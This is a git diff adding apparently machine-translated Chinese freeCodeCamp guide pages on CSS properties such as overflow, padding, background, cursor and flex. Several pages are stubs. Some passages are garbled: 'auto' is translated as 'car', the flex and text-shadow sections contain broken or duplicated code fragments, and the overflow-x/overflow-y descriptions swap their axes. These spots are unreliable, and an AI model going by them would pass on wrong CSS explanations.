+ /* Define the block styling for the links */ 
+ .myNav li a { 
+    display: inline-block; 
+    text-align: center; 
+    padding: 14px 16px; 
+ } 
+ /* This is optional, however if you want to display the active link differently apply a background to it */ 
+ .myNav li a.active { 
+    background-color: #3786E1; 
+ } 
+```
+
+#### 更多信息：
+
+更多导航示例： [W3Schools](https://www.w3schools.com/css/css_navbar.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/object-fit/index.md b/client/src/guide/chinese/css/object-fit/index.md
new file mode 100644
index 0000000000..6c55caa659
--- /dev/null
+++ b/client/src/guide/chinese/css/object-fit/index.md
@@ -0,0 +1,42 @@
+---
+title: Object Fit
+localeTitle: 对象适合
+---
+# 对象适合
+
+`object-fit`属性指定元素如何响应其父框的宽度/高度。
+
+此属性可用于图像，视频或任何其他媒体。它还可以与`object-position`属性一起使用，以更好地控制媒体的显示方式。
+
+基本上我们使用`object-fit`属性来定义它如何拉伸或挤压内联媒体。
+
+## 句法
+
+```css
+.element { 
+    object-fit: fill || contain || cover || none || scale-down; 
+ } 
+```
+
+## 值
+
+*   `fill` ： **这是默认值** 。无论宽高比如何，都要调整内容大小以匹配其父框。
+    
+*   `contain` ：使用正确的宽高比调整内容大小以填充其父框。
+    
+*   `cover` ：类似于`contain`但经常裁剪内容。
+    
+*   `none` ：以原始大小显示图像。
+    
+*   `scale-down` ：比较`none`和`contain`之间的差异，找到最小的具体对象大小。
+    
+
+## 浏览器兼容性
+
+大多数现代浏览器都支持`object-fit` ，有关兼容性的最新信息，请查看http://caniuse.com/#search=object-fit
+
+还有一个不受支持的浏览器（主要是IE）的polyfill。 https://github.com/anselmh/object-fit
+
+## 更多信息
+
+https://developer.mozilla.org/en-US/docs/Web/CSS/object-fit https://drafts.c​​sswg.org/css-images-3/#the-object-fit
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/overflow/index.md b/client/src/guide/chinese/css/overflow/index.md
new file mode 100644
index 0000000000..63947e6559
--- /dev/null
+++ b/client/src/guide/chinese/css/overflow/index.md
@@ -0,0 +1,74 @@
+---
+title: Overflow
+localeTitle: 溢出
+---
+# 溢出
+
+`overflow`属性指定当内容溢出元素的框时会发生什么（此属性仅适用于具有指定高度的块元素）。
+
+此属性指定当元素的内容太大而无法放入指定区域时是剪辑内容还是添加滚动条。
+
+例如，给定块级元素（ `<div>` ）设置为300px宽，包含400px宽的图像。图像将伸出div并默认可见。但是，如果溢出值设置为隐藏，则图像将以300px切断。
+
+## 值
+
+*   `visible` ：这是属性的默认值。当内容大于框时，内容不会被剪裁。
+*   `hidden` ： `hidden`溢出的内容。
+*   `scroll` ：与hidden类似，但用户将能够滚动隐藏的内容。
+*   `auto` ：如果内容在其框外进行，则该内容将被隐藏，同时应该可以看到滚动条以供用户阅读其余内容。
+*   `initial` ：使用可见的默认值。
+*   `inherit` ：将溢出设置为其父元素的值。
+
+## 例子
+
+### 可见：
+
+```css
+.box-element { overflow: visible; } 
+```
+
+![示例图像](https://s26.postimg.org/gweu6g5yh/1-vissible.png)
+
+### 隐：
+
+```css
+.box-element { overflow: hidden; } 
+```
+
+![示例图像](https://s26.postimg.org/l49mf77e1/2-hidden.png)
+
+### 滚动：
+
+```css
+.box-element { overflow: scroll; } 
+```
+
+![示例图像](https://s26.postimg.org/d8z30dxrd/3-scroll.png)
+
+### 汽车：
+
+```css
+.box-element { overflow: auto; } 
+```
+
+![示例图像](https://s26.postimg.org/z5q7ei0bt/4-autoank.png)
+
+## overflow-x和overflow-y
+
+*   `overflow-x` ：允许用户滚动超出box元素高度的内容。
+*   `overflow-y` ：允许用户滚动超出框宽度的内容。
+
+```css
+  .box-element { 
+    overflow-x: scroll; 
+    overflow-y: auto; 
+  } 
+```
+
+而`.box-element`将如下所示： ![示例图像](https://s26.postimg.org/ff2kmdfzd/5-_Xand_Y.png)
+
+如果内容溢出Y轴，则该内容将被隐藏，同时应该可以看到滚动条以供用户阅读其余内容。
+
+#### 更多信息：
+
+CSS技巧： [溢出](https://css-tricks.com/almanac/properties/o/overflow/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/padding/index.md b/client/src/guide/chinese/css/padding/index.md
new file mode 100644
index 0000000000..3cead34431
--- /dev/null
+++ b/client/src/guide/chinese/css/padding/index.md
@@ -0,0 +1,57 @@
+---
+title: Padding
+localeTitle: 填充
+---
+# 填充
+
+`padding` CSS属性在元素的所有四个边上设置填充区域。此属性可用于生成内容周围的空间（边框内）。它是一次设置所有单个填充的简写： `padding-top` ， `padding-right` ， `padding-bottom`和`padding-left` 。值以顺时针方向定义。
+
+填充值使用长度或百分比或`inherit`关键字设置，不能接受负值。所有填充属性的初始值或默认值为0.虽然可以使用`inherit`关键字但不能与长度值一起使用。
+
+## 句法
+
+```css
+.element { 
+    padding: [padding-top] || [padding-right] || [padding-bottom] || [padding-left]; 
+ } 
+```
+
+可以使用一个，两个，三个或四个值指定此属性。
+
+*   指定一个值时，它会对所有四个边应用相同的填充。
+*   指定两个值时，第一个填充适用于顶部和底部，第二个填充适用于左侧和右侧。
+*   指定三个值时，第一个填充适用于顶部，第二个填充适用于左侧和右侧，第三个填充适用于底部。
+*   指定四个值时，填充按顺序（顺时针）应用于顶部，右侧，底部和左侧。
+
+```css
+/* em refers to the current font size of an element */ 
+ /* Apply to all four sides */ 
+ padding: 1em; 
+ 
+ /* top and bottom | left and right */ 
+ padding: 5% 10%; 
+ 
+ /* top | left and right | bottom */ 
+ padding: 1em 2em 2em; 
+ 
+ /* top | right | bottom | left */ 
+ padding: 5px 1em 0 1em; 
+```
+
+## 箱式模型在哪里
+
+CSS中的padding属性定义了box模型的最里面部分，在元素的内容周围创建了空间，在任何定义的边距和/或边框内。
+
+![CSS Box模型](https://www.w3.org/TR/css3-box/box.png)
+
+## 浏览器支持
+
+它在所有浏览器中得到有效支持（因为IE6 +，Firefox 2 +，Chrome 1+等）
+
+### 更多信息
+
+*   [W3C工作草案](https://www.w3.org/TR/css3-box/#the-padding)
+*   [W3C CSS Level 2](https://www.w3.org/TR/CSS2/box.html#propdef-padding)
+*   [W3C CSS Level 1](https://www.w3.org/TR/CSS1/#padding)
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)
+*   [CSS技巧](https://css-tricks.com/almanac/properties/p/padding/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/pointer-events/index.md b/client/src/guide/chinese/css/pointer-events/index.md
new file mode 100644
index 0000000000..1cfa35da24
--- /dev/null
+++ b/client/src/guide/chinese/css/pointer-events/index.md
@@ -0,0 +1,15 @@
+---
+title: Pointer Events
+localeTitle: 指针事件
+---
+## 指针事件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/using-css-transitions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+*   [MDN Web文档上的指针事件](https://developer.mozilla.org/en-US/docs/Web/CSS/pointer-events)
+*   [可缩放矢量图形1.1规范（推荐）](https://www.w3.org/TR/SVG11/interact.html#PointerEventsProperty)
+*   [我可以使用：CSS指针事件属性](https://caniuse.com/#feat=pointer-events)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/progressive-enhancement/index.md b/client/src/guide/chinese/css/progressive-enhancement/index.md
new file mode 100644
index 0000000000..f76223104c
--- /dev/null
+++ b/client/src/guide/chinese/css/progressive-enhancement/index.md
@@ -0,0 +1,11 @@
+---
+title: Progressive Enhancement
+localeTitle: 渐进式增强
+---
+## 渐进式增强
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/progressive-enhancement/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/background-color-property/index.md b/client/src/guide/chinese/css/properties/background-color-property/index.md
new file mode 100644
index 0000000000..bd00ea6e73
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/background-color-property/index.md
@@ -0,0 +1,39 @@
+---
+title: Background Color Property
+localeTitle: 背景颜色属性
+---
+## 背景颜色属性
+
+您可以使用`background-color`属性设置元素的背景颜色。您可以使用颜色值（颜色名称，十六进制值，RGB / RGBA值，HSL / HSLA值）或关键字`transparent` 。
+
+**例：**
+
+```css
+body { 
+    background-color: crimson; 
+ } 
+ 
+ div { 
+    background-color: #ffffff; 
+ } 
+ 
+ .myClass { 
+    background-color: rgba(0, 0, 0, 0.5); 
+ } 
+```
+
+#### 物业价值：
+
+`background-color: color | transparent | initial | inherit;`
+
+`color` - 指定背景颜色（颜色名称，十六进制值，RGB / RGBA值，HSL / HSLA值）。
+
+`transparent` - 默认值。将背景颜色设置为透明。
+
+`initial` - 将此属性设置为其初始值（默认值）。
+
+`inherit` - 从其父元素继承此属性。
+
+#### 更多信息：
+
+[MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/CSS/background-color?v=b)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/background-image-property/index.md b/client/src/guide/chinese/css/properties/background-image-property/index.md
new file mode 100644
index 0000000000..0dfcd79b5e
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/background-image-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Background Image Property
+localeTitle: 背景图片属性
+---
+#### 推荐阅读：
+
+https://developer.mozilla.org/en-US/docs/Web/CSS/background-image
+
+#### 条款草案：
+
+CSS中background-image属性的说明和示例
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/background-position-property/index.md b/client/src/guide/chinese/css/properties/background-position-property/index.md
new file mode 100644
index 0000000000..cbb2dbe260
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/background-position-property/index.md
@@ -0,0 +1,40 @@
+---
+title: Background Position Property
+localeTitle: 背景位置属性
+---
+## 背景位置属性
+
+background-property设置背景图像应该从哪里开始的位置。换句话说，此属性将采用x值和y值，并将从点`(x, y)`开始图像。
+
+**例：**
+
+```css
+/* setting background-image of HTML doc */ 
+ body { 
+  background-image: url('https://i.imgur.com/6Z2VStD.png'); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+ } 
+```
+
+默认情况下，background-position属性设置为`0% 0%` 。
+
+**物业价值：**
+
+`background-position: x-value y-value`其中，
+
+_x值_ ： `left | center | right | x% | x px` ，和
+
+_y值_ ： `top | center | bottom | y% | y px` 。
+
+其他允许的属性值是`initial`和`inherit` 。
+
+`initial` ：将此属性设置为其默认值。
+
+`inherit` ：继承父元素的值。
+
+**注意：**当background-property只有一个值时，另一个值默认设置为`center` 。
+
+**其他资源：**
+
+MDN文档：https：//developer.mozilla.org/en-US/docs/Web/CSS/background-position
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/background-property/index.md b/client/src/guide/chinese/css/properties/background-property/index.md
new file mode 100644
index 0000000000..77bc80f5d6
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/background-property/index.md
@@ -0,0 +1,47 @@
+---
+title: Background Property
+localeTitle: 背景资产
+---
+## 背景资产
+
+CSS后台属性允许用一个简写声明1一次声明所有八个背景属性。
+
+background属性指定为一个或多个背景图层，以逗号分隔以获取以下属性2 ：
+
+*   背景颜色
+*   背景图片
+*   背景位置
+*   背景大小
+*   背景重复
+*   背景起源
+*   背景素材
+*   背景附件
+
+语法1 ：
+
+```css
+body { 
+  /* Using a <background-color> */ 
+  background: green; 
+ } 
+ 
+ .error { 
+  /* Using a <bg-image> and <repeat-style> */ 
+  background: url("test.jpg") repeat-y; 
+ } 
+ 
+ header { 
+  /* Using a <box> and <background-color> */ 
+  background: border-box red; 
+ } 
+ 
+ .topbanner { 
+  /* A single image, centered and scaled */ 
+  background: no-repeat center/80% url("../img/image.png"); 
+ } 
+```
+
+### 来源
+
+1.  [访问MDN的背景页面以获取更多信息。](https://developer.mozilla.org/en-US/docs/Web/CSS/background)
+2.  [访问W3School的CSS背景属性页面以获取更多信息。](https://www.w3schools.com/cssref/css3_pr_background.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/background-repeat-property/index.md b/client/src/guide/chinese/css/properties/background-repeat-property/index.md
new file mode 100644
index 0000000000..3dcaffd31e
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/background-repeat-property/index.md
@@ -0,0 +1,50 @@
+---
+title: Background Repeat Property
+localeTitle: 背景重复属性
+---
+## 背景重复属性
+
+background-repeat CSS属性定义了背景图像的重复方式。
+
+可以沿水平轴，垂直轴，两个轴重复背景图像，或者根本不重复背景图像。 默认情况下，垂直和水平重复背景图像。
+
+句法：
+
+```css
+background-repeat: repeat|repeat-x|repeat-y|no-repeat|initial|inherit; 
+```
+
+*   重复：背景图像将垂直和水平重复。这是默认的
+    
+*   repeat-x：背景图像只能水平重复
+    
+*   repeat-y：背景图像仅垂直重复。
+    
+*   不重复：背景图像不会重复。
+    
+*   initial：将此属性设置为其默认值。
+    
+*   inherit：从其父元素继承此属性。
+    
+
+例子： 用于水平和垂直重复图像
+
+```css
+body { 
+    background-image:url(smiley.gif); 
+    background-repeat:repeat; 
+ } 
+```
+
+用于水平重复图像
+
+```css
+body { 
+    background-image:url(smiley.gif); 
+    background-repeat:repeat-x; 
+ } 
+```
+
+#### 更多信息：
+
+[有关背景重复属性的更多信息](https://developer.mozilla.org/en-US/docs/Web/CSS/background-repeat)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/border-style-property/index.md b/client/src/guide/chinese/css/properties/border-style-property/index.md
new file mode 100644
index 0000000000..dfba6f3bef
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/border-style-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Border Style Property
+localeTitle: 边境风格财产
+---
+## 边境风格财产
+
+您可以使用`border-style`属性为元素的所有边框设置线条样式。
+
+#### 更多信息：
+
+文件： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-style)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/clear-property/index.md b/client/src/guide/chinese/css/properties/clear-property/index.md
new file mode 100644
index 0000000000..1a2c29c890
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/clear-property/index.md
@@ -0,0 +1,32 @@
+---
+title: Clear Property
+localeTitle: 清除财产
+---
+## 清除财产
+
+您可以使用`clear`属性按下元素，防止它出现在先前浮动元素旁边。
+
+`clear`属性可以具有以下值：
+
+在之后使用该属性`float`属性用于“清除”出`float` 。
+
+```css
+clear: none; 
+ clear: left; 
+ clear: right; 
+ clear: both; 
+ clear: inline-start; 
+ clear: inline-end; 
+```
+
+### 例：
+
+![Clear Property Image](https://image.ibb.co/defebR/clear.png "清除财产")
+
+在上面的例子中，黄色`div`具有属性`float:left` ，并且可以适合珊瑚`div` 。但是，由于黄色`div`也具有`clear: both`的属性`clear: both`向下移动到浮动元素下方。
+
+#### 更多信息：
+
+*   https://css-tricks.com/almanac/properties/c/clear/
+*   https://www.w3schools.com/cssref/pr _class_ clear.asp
+*   https://developer.mozilla.org/en-US/docs/Web/CSS/clear
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/color-property/index.md b/client/src/guide/chinese/css/properties/color-property/index.md
new file mode 100644
index 0000000000..11b9c64e58
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/color-property/index.md
@@ -0,0 +1,84 @@
+---
+title: Color Property
+localeTitle: 颜色属性
+---
+## CSS颜色属性
+
+您可以使用`color`属性设置元素中文本的颜色。
+
+您可以使用多种方法声明颜色，例如：
+
+*   按名称（注意：这仅适用于某些颜色）
+
+```css
+h1{ 
+    color: blue; 
+ } 
+```
+
+*   十六进制（指定为#rrggbb）
+
+```css
+h1{ 
+    color:  #0000ff; 
+ } 
+```
+
+*   RGB（指定为rgb（r，g，b））
+
+```css
+h1{ 
+    color: rgb(0, 0, 255); 
+ } 
+```
+
+*   RGBA（指定为rgba（r，g，b，alpha））
+
+```css
+h1{ 
+    color: rgba(0, 0, 255, 0.5); 
+ } 
+```
+
+*   HSL（色调，亮度，饱和度）
+
+```css
+h1{ 
+    color: hsl(240, 100%, 50%); 
+ } 
+```
+
+*   HSLA（色调，亮度，饱和度，Alpha）
+
+```css
+h1{ 
+    color: hsl(240, 100%, 50%, 0.5); 
+ } 
+```
+
+## CSS颜色属性解释
+
+*   名称颜色：
+    
+    *   这些都是非常自我解释的。每种颜色都用它的名字表示。
+*   十六进制：
+    
+    *   这些颜色由十六进制三元组表示。
+    *   十六进制三元组是六位三字节十六进制数。
+    *   三个字节中的每一个表示颜色#RRGGBB（红色，绿色，蓝色）。
+    *   简写十六进制颜色由三位十六进制数字#RGB（红色，绿色，蓝色）表示。
+*   RGB和RGBA颜色：
+    
+    *   RGB颜色是24位（3字节）颜色，由3个数字表示，范围为0-255。 （例如rgb（255,255,128））。
+    *   RGBA颜色是32位（4字节）颜色，由0到255范围内的3个数字和控制不透明度的alpha值表示。 （例如rgb（255,255,128,0.3））。
+*   HSL和HSLA颜色：
+    
+    *   HSL颜色由三个值（HUE，饱和度，亮度）表示。
+    *   HSLA颜色由四个值（HUE，饱和度，亮度，Alpha）表示。 Alpha控制不透明度。
+
+#### 更多信息
+
+*   W3 Schools网站关于如何格式化[文本](https://www.w3schools.com/css/css_text.asp) 。
+*   W3学校网站的[颜色](https://www.w3schools.com/colors/default.asp) 。
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/color)上的颜色属性。
+*   [w3.org](https://www.w3.org/wiki/CSS/Properties/color)上的[文档](https://www.w3.org/wiki/CSS/Properties/color) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-background-size-property/index.md b/client/src/guide/chinese/css/properties/css3-background-size-property/index.md
new file mode 100644
index 0000000000..1190306280
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-background-size-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Background Size Property
+localeTitle: CSS3背景大小属性
+---
+## CSS3背景大小属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-background-size-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-border-radius-property/index.md b/client/src/guide/chinese/css/properties/css3-border-radius-property/index.md
new file mode 100644
index 0000000000..800b887859
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-border-radius-property/index.md
@@ -0,0 +1,17 @@
+---
+title: CSS3 Border Radius Property
+localeTitle: CSS3 Border Radius属性
+---
+## CSS3 Border Radius属性
+
+您可以使用`border-radius`属性使元素的边框变圆。您可以将一到四个值设置为`border-radius`属性：
+
+*   `border-radius: 5px;` - 此规则适用于所有角落
+*   `border-radius: 5px 10px` - 此规则将第一个值应用于_左上角_和_右下角_ ，第二个值应用于_右上角_和_左下角_ 。
+*   `border-radius: 3px 5px 7px 10px` - 此规则将第一个值应用于_左上角_ ，第二个值应用于_右上角_ ，第三个值应用于_右下角_ ，第四个值应用于_左下角_ 。
+*   如果是三个值，则第二个值适用于_右上角_和_左下角_ 。
+
+#### 更多信息：
+
+*   [MDN - border-radius](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius)
+*   [CSS-Tricks - border-radius](https://css-tricks.com/almanac/properties/b/border-radius/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-box-shadow-property/index.md b/client/src/guide/chinese/css/properties/css3-box-shadow-property/index.md
new file mode 100644
index 0000000000..0348949b29
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-box-shadow-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Box Shadow Property
+localeTitle: CSS3 Box Shadow属性
+---
+## CSS3 Box Shadow属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-box-shadow-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-box-sizing-property/index.md b/client/src/guide/chinese/css/properties/css3-box-sizing-property/index.md
new file mode 100644
index 0000000000..f1b6d0f336
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-box-sizing-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Box Sizing Property
+localeTitle: CSS3 Box大小调整属性
+---
+## CSS3 Box大小调整属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-box-sizing-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-columns-property/index.md b/client/src/guide/chinese/css/properties/css3-columns-property/index.md
new file mode 100644
index 0000000000..6413744b76
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-columns-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Columns Property
+localeTitle: CSS3列属性
+---
+## CSS3列属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-columns-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-text-shadow-property/index.md b/client/src/guide/chinese/css/properties/css3-text-shadow-property/index.md
new file mode 100644
index 0000000000..b08799e864
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-text-shadow-property/index.md
@@ -0,0 +1,20 @@
+---
+title: CSS3 Text Shadow Property
+localeTitle: CSS3文本阴影属性
+---
+## CSS3文本阴影属性
+
+文本阴影属性为文本添加阴影。 每个阴影都是原始元素的X和Y偏移，模糊半径和颜色的组合。 \`\`\`css Css语法
+
+text-shadow：X偏移Y偏移模糊半径颜色
+```
+**Example :** 
+```
+
+CSS p { text-shadow：2px 2px 8px＃FF0000; } \`\`\`
+
+#### 更多信息：
+
+[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/text-shadow)
+
+[W3Schools的](https://www.w3schools.com/cssref/css3_pr_text-shadow.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-transform-property/index.md b/client/src/guide/chinese/css/properties/css3-transform-property/index.md
new file mode 100644
index 0000000000..06ed2cc4b3
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-transform-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Transform Property
+localeTitle: CSS3转换属性
+---
+## CSS3转换属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-transform-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/css3-word-wrap-property/index.md b/client/src/guide/chinese/css/properties/css3-word-wrap-property/index.md
new file mode 100644
index 0000000000..eb5e46b6d4
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/css3-word-wrap-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Word Wrap Property
+localeTitle: CSS3 Word Wrap属性
+---
+## CSS3 Word Wrap属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-word-wrap-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/cursor-property/index.md b/client/src/guide/chinese/css/properties/cursor-property/index.md
new file mode 100644
index 0000000000..4e4a046d6a
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/cursor-property/index.md
@@ -0,0 +1,50 @@
+---
+title: Cursor Property
+localeTitle: 游标属性
+---
+## 游标属性
+
+cursor属性指定将鼠标悬停在元素上时要显示的光标类型。它有36个可能的值：
+
+```css
+    .auto            { cursor: auto; } 
+    .default         { cursor: default; } 
+    .none            { cursor: none; } 
+    .context-menu    { cursor: context-menu; } 
+    .help            { cursor: help; } 
+    .pointer         { cursor: pointer; } 
+    .progress        { cursor: progress; } 
+    .wait            { cursor: wait; } 
+    .cell            { cursor: cell; } 
+    .crosshair       { cursor: crosshair; } 
+    .text            { cursor: text; } 
+    .vertical-text   { cursor: vertical-text; } 
+    .alias           { cursor: alias; } 
+    .copy            { cursor: copy; } 
+    .move            { cursor: move; } 
+    .no-drop         { cursor: no-drop; } 
+    .not-allowed     { cursor: not-allowed; } 
+    .all-scroll      { cursor: all-scroll; } 
+    .col-resize      { cursor: col-resize; } 
+    .row-resize      { cursor: row-resize; } 
+    .n-resize        { cursor: n-resize; } 
+    .e-resize        { cursor: e-resize; } 
+    .s-resize        { cursor: s-resize; } 
+    .w-resize        { cursor: w-resize; } 
+    .ns-resize       { cursor: ns-resize; } 
+    .ew-resize       { cursor: ew-resize; } 
+    .ne-resize       { cursor: ne-resize; } 
+    .nw-resize       { cursor: nw-resize; } 
+    .se-resize       { cursor: se-resize; } 
+    .sw-resize       { cursor: sw-resize; } 
+    .nesw-resize     { cursor: nesw-resize; } 
+    .nwse-resize     { cursor: nwse-resize; } 
+```
+
+#### 更多信息：
+
+检查上面的游标值： [codepen](https://codepen.io/chriscoyier/pen/uCwfB)
+
+Mozilla开发者网络： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor)
+
+浏览器支持： [caniuse](http://caniuse.com/#search=cursor)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/display-property/index.md b/client/src/guide/chinese/css/properties/display-property/index.md
new file mode 100644
index 0000000000..f08175c35e
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/display-property/index.md
@@ -0,0 +1,28 @@
+---
+title: Display Property
+localeTitle: 显示属性
+---
+## 显示属性
+
+display属性指定用于HTML元素的框的类型。它有20个可能的关键字值。常用的是：
+
+```css
+    .none             {display: none;} 
+    .block            {display: block;} 
+    .inline-block     {display: inline-block;} 
+    .inline           {display: inline;} 
+    .flex             {display: flex;} 
+    .inline-flex      {display: inline-flex;} 
+    .inline-table     {display: inline-table;} 
+    .table            {display: table;} 
+    .inherit          {display: inherit;} 
+    .initial          {display: initial;} 
+```
+
+#### 更多信息：
+
+文档和关键字值的完整列表： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+
+浏览器支持： [caniuse](http://caniuse.com/#search=display)
+
+Flexbox完整指南： [css-tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/flex-property/index.md b/client/src/guide/chinese/css/properties/flex-property/index.md
new file mode 100644
index 0000000000..5ce4d47fd9
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/flex-property/index.md
@@ -0,0 +1,35 @@
+---
+title: Flex Property
+localeTitle: Flex属性
+---
+## Flex属性
+
+`flex`属性是指定灵活项目大小的简写。可以在此简写属性中指定`flex-grow` ， `flex-shrink`和`flex-basis` 。
+
+**如果元素不是`flex-item`则此属性无效** 。 Flex项是一个元素，它是容器父项的直接子项，其显示属性为`flex`或`inline-flex` 。
+
+## 句法
+
+下面列出的语法可能存在差异。 `flex-grow`和`flex-shrink`将整数作为值。 `flex-basis`采用常规大小单位，如px，em，rem ......等。
+
+```css
+flex: <flex-grow> <flex-shrink> <flex-basis>; 
+ flex: <flex-basis>; 
+ flex: <flex-grow>; 
+ flex: <flex-grow> <flex-basis>; 
+ flex: <flex-grow> <flex-shrink>; 
+```
+
+`flex-basis`指定沿主轴的元素大小。在容器内，主轴由`flex-direction`定义。当`flex-direction`为`row`主轴是水平的。当`flex-direction`为`column`时垂直。
+
+`flex-basis: 20px`如果`flex-direction`为`row`则`flex-basis: 20px`会将元素的初始宽度设置为`20px` 。如果`fle-direction`是`column`则相同的`flex-basis`将适用于高度。
+
+`flex: 20px`会自动表示`flex-basis: 20px` ，因为速记属性只有`flex-basis`作为可以取单位值的属性。
+
+`flex: 2`指定`flex-grow: 2` ，元素将比`flex-grow: 1`其他元素长两倍/更高`flex-grow: 1` 。
+
+`flex: 1 2`指定`flex-grow: 1`和`flex-shrink: 2` 。随着`flex-grow: 1`元素与其他元素成比例地占据空白空间`flex-grow: 1`但是与其他具有`flex-shrink: 1`元素相比，缩小了两倍`flex-shrink: 1`当按压空间时， `flex-shrink: 1` 。
+
+### 更多信息
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/flex)上的`flex`属性引用
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/float-property/index.md b/client/src/guide/chinese/css/properties/float-property/index.md
new file mode 100644
index 0000000000..e205bb471a
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/float-property/index.md
@@ -0,0 +1,21 @@
+---
+title: Float Property
+localeTitle: 浮动物业
+---
+## 浮动物业
+
+`float`属性允许元素浮动到另一个元素的左侧或右侧。 `float`的主要用途是在文本块的左侧或右侧显示图像。
+
+```css
+.my-element { 
+  float: left; 
+  float: right; 
+  float: inline-start; 
+  float: inline-end; 
+  float: none; 
+ } 
+```
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/CSS/float)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/font-family-property/index.md b/client/src/guide/chinese/css/properties/font-family-property/index.md
new file mode 100644
index 0000000000..ae851eff05
